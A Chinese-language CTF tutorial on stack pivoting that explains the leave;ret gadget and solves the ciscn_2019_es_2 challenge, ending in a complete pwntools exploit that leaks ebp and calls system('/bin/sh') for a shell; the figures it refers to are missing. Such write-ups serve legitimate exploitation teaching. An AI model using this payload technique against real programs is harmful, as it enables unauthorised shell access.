PWN从入门到放弃(12)——栈溢出之栈迁移
0x00 什么是栈迁移
栈迁移主要是为了解决栈溢出空间大小不足的问题
简单的说:就是通过修改ebp指针来修改栈帧的位置和大小
0x01 栈迁移的实现
通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave_ret这个gadget将esp劫持到fake_ebp的地址上。
什么是leave_ret
终端输入下面这行命令,就可以看到gadget
$ ROPgadget --binary ciscn_2019_es_2
leave:
mov esp,ebp;
pop ebp;
ret:
pop eip
假如,有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这个样子:
当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入
在程序call调用之后,会存在这样的指令
mov esp,ebp
pop ebp
ret
当我们挨个去执行的时候会出现这样的情况
首先是 mov esp,ebp 执行完以后变成了这个样子:
然后 pop ebp 执行完后就是
别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位
这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
构造的内容主要是把 fake ebp1 处写成 fake ebp2 的地址
read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样
首先是 mov esp,ebp 执行完成后效果如下:
然后是 pop ebp,执行完成后:
此时再执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数
这样我们就成功的将栈迁移到了bss段
0x02 例题
1)查看程序信息
国际惯例
$ checksec ./ciscn_2019_es_2
32位程序,开启NX保护
2)IDA pro分析
程序拖到ida里分析
看到vul()函数,直接跟进
看到程序获取我们两次输入,都是获取输入到s变量中
但是s的大小只有0x28,read可以让我们输入0x30,存在溢出
但是只能溢出8个字节,刚刚好覆盖ebp和返回地址
在ida中看到一个hack()函数,但是点开一看,啥用没有
没有可以直接返回shell的函数,而且溢出的长度太短,不够我们写rop链
那么就只能用到栈迁移啦
3)解题思路
printf会将s打印出来,如果我们正好输入0x28个字节,那么printf会把后面的ebp的值也打印出来,这就泄漏了ebp,我们就可以根据相应的偏移来定位栈的位置。
首先先泄漏ebp
pay = 'a' * 0x27 + 'b'
r.send(pay)
r.recvuntil('b')
ebp_addr = u32(r.recv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)
泄漏出ebp的值后,我们还需要计算一下相对的偏移
这个便宜点是,我们开始输入的地方,到ebp的偏移,用gdb动态调试一下
$ gdb ./ciscn_2019_es_2
先输入r运行,然后ctrl + c中断一下,再ni单步即可
这里我们随便输入四个a
直接看寄存器窗口
ebp的值为0xffffd3f8
,而我们输入的位置地址为0xffffd3c0
那么偏移就是0xffffd3f8 - 0xffffd3c0 = 0x38
知道了偏移和ebp,那么我们就可以算出输入的起始地址s_addr = ebp_addr - 0x38
接下来我们就可以构造payload了
我们来分析一下这个payload
首先这个函数vuln结束时本来就要leave_ret
这时esp指向fake ebp的地址,pop ebp时将fake_ebp的值取出,所以ebp此时指向fake_ebp即s_addr
然后再leave_ret,此时esp指向ebp即s的地址,ebp的地址已经无所谓了,所以s的前4个字节无所谓,可以随便填,此时esp指向system,ebp管他呢
然后执行ret 即pop eip 所以下一步要执行system函数
这里的bin_sh_addr是需要我们根据输入的长度来计算的,也就是s_addr + 0x10
4)完整exp
# -*- coding: utf-8 -*-
from pwn import *
pro = './ciscn_2019_es_2'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
r = process(pro)
#r = remote('node3.buuoj.cn',27480)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'
rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)
if args.G:
gdb.attach(proc.pidof(r)[0])
leave_ret = 0x080484b8
system_addr = elf.plt['system']
main_addr = elf.symbols['main']
pay = 'a' * 0x27
pay += 'b'
ru('name?')
sd(pay)
ru('b')
ebp_addr = u32(rv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)
s_addr = ebp_addr - 0x38
print 's_addr >>>>>>>> ' + hex(s_addr)
bin_sh_addr = s_addr + 0x10
pay1 = 'aaaa'
pay1 += p32(system_addr)
pay1 += p32(0xdeadbeef)
pay1 += p32(bin_sh_addr)
pay1 += '/bin/sh\x00'
pay1 = pay1.ljust(0x28,'\x00')
pay1 += p32(s_addr)
pay1 += p32(leave_ret)
sd(pay1)
r.interactive()